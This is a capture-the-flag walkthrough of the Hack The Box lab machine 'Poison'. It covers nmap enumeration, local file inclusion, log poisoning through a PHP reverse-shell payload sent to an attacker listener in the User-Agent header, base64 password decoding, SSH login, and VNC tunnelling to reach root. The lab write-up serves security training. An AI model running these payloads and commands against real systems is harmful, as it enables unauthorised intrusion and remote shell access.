Poison

Enumeration

As usual, we start with an nmap scan, in order to find open ports in the target machine.

The following nmap command will scan the target machine looking for open ports quickly and saving the output into a file:

nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.84 -oN allPorts

  • -sS use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.

  • --min-rate 5000 nmap will try to keep the sending rate at or above 5000 packets per second.

  • -p- scanning the entire port range, from 1 to 65535.

  • -T5 insane mode, it is the fastest mode of the nmap time template.

  • -Pn assume the host is online.

  • -n scan without reverse DNS resolution.

  • -oN save the scan result into a file, in this case the allports file.

As we see, there are a few ports open.

Let's try to obtain the services and versions of these ports. The following command will scan these ports more in depth and save the result into a file:

nmap -sC -sV -p22,80 10.10.10.84 -oN targeted

  • -sC performs the scan using the default set of scripts.

  • -sV enables version detection.

  • -oN save the scan result into file, in this case the targeted file.

Let's take a look at the website.

If we put some of the .php files listed into the scriptname text field, and hit the Submit button, it will look like it is showing us the file.

Exploitation

We could try to do a Local File Inclusion (LFI) attack. If we put the /etc/passwd file, and hit Submit, we'll see that we can see the /etc/passwd file of the Poison machine, and we could also see that there are two users, the root user and the charix user.

curl -s 'http://10.10.10.84/browse.php?file=/etc/passwd'

As nmap reported that the website is hosted by an Apache server, we could try to enumerate the Apache log file.

curl -s 'http://10.10.10.84/browse.php?file=/var/log/httpd-access.log'

The httpd-access.log file stores every request the server gets with information such us the IP address, the directory, the status code, the user agent, etc...

We could try to make a request to the HTTP server with a User-Agent header, which can contain PHP code that sends us back a reverse shell, so when we access the httpd-access.log file, the PHP code will be interpreted, and we'll get a reverse shell.

curl -s 'http://10.10.10.84/' -A "<?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.19 4444 >/tmp/f') ?>"

Now the request is stored in the httpd-access.log log file. Before accessing it, let's set a netcat listener on port 4444.

nc -lvnp 4444

  • -l listen mode.

  • -v verbose mode.

  • -n numeric-only IP, no DNS resolution.

  • -p specify the port to listen on.

If we now access the log file with the browser, we should catch the reverse shell on the netcat listener.

http://10.10.10.84/browse.php?file=/var/log/httpd-access.log

Privilege Escalation

If we list the current directory, we'll see the pwdbackup.txt file.

ls -l

If we take a look at it, we'll see a long base64 string.

cat pwdbackup.txt

We can decode it, by putting the base64 string in the pwd64 file and executing the following command.

data=$(cat pwdB64); for i in $(seq 1 13); do data=$(echo $data | tr -d ' ' | base64 -d); done; echo $data

And we get a password. If we try to log in as the user charix with that password via SSH, we'll get in, and we could grab the user flag.

sshpass -p 'Charix!2#4%6&8(0' ssh charix@10.10.10.84

If we list the current directory, we'll see the secret.zip file.

ls -l

Let's transfer it to our local machine.

python -m SimpleHTTPServer

On our local machine.

wget http://10.10.10.84:8000/secret.zip

If we try to unzip it, it will ask for a password. Let's try the one we found earlier.

unzip secret.zip

And we get the secret file, which hash some weird content in it.

file secret

If we keep enumerating the machine, we'll see that it is listening on a few ports we didn't see with nmap.

netstat -anp tcp

We see the ports 5801 and 5901, which belong to VNC.

Virtual Network Computing (VNC) is a program based on a client-server structure that allows you to observe the actions of the server computer remotely through a client computer.

We can enumerate the VNC service with the vncviewer tool on our local machine. So let's tunnel that port to our local machine with SSH.

sshpass -p 'Charix!2#4%6&8(0' ssh charix@10.10.10.84 -L 5901:127.0.0.1:5901

Now we can enumerate the VNC service of the victim, through our 5901 port. The vncviewer tool has an option which allow us to authenticate with a password file. If we use the secret file that we have, we'll get a shell as the root user, and all we had to do is reap the harvest and take the root flag.

vncviewer 127.0.0.1:5901 -passwd secret

Last updated

Was this helpful?